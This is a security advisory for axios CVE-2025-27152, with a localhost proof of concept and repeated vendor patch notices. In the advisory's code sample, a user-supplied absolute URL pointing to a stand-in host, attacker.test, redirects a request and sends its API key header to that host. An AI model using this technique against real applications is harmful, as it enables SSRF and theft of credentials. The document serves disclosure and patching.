CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Root has patched CVE-2025-27152 in the axios package for Root:npm. Multiple fixed versions available.

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

TuxCare rebuilt axios to address 2 CVEs. Fixed in 0.27.2-tuxcare.1.

TuxCare rebuilt axios to address 5 CVEs. Fixed in 0.18.1-tuxcare.1.

TuxCare rebuilt axios to address 6 CVEs. Fixed in 0.15.3-tuxcare.1.

TuxCare rebuilt axios to address 17 CVEs. Fixed in 0.19.2-tuxcare.1.

TuxCare rebuilt axios to address 16 CVEs. Fixed in 0.21.1-tuxcare.1.

TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.21.4-tuxcare.1.

TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.24.0-tuxcare.1.

TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.1-tuxcare.1.

TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.

TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.

TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.

TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.

These are all security issues fixed in the velociraptor-0.7.0.4.git163.87ee3570-1.1 package on the GA media of openSUSE Tumbleweed.

This update for pgadmin4 fixes the following issues:

• CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)
• CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)
• CVE-2024-4068: Fixed a possible memory exhaustion (bsc#1224295)

This update for pgadmin4 fixes the following issues:

• CVE-2025-27152: axios: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)

This update for pgadmin4 fixes the following issues:

• CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)
• CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)
• CVE-2024-4068: Fixed a possible memory exhaustion (bsc#1224295)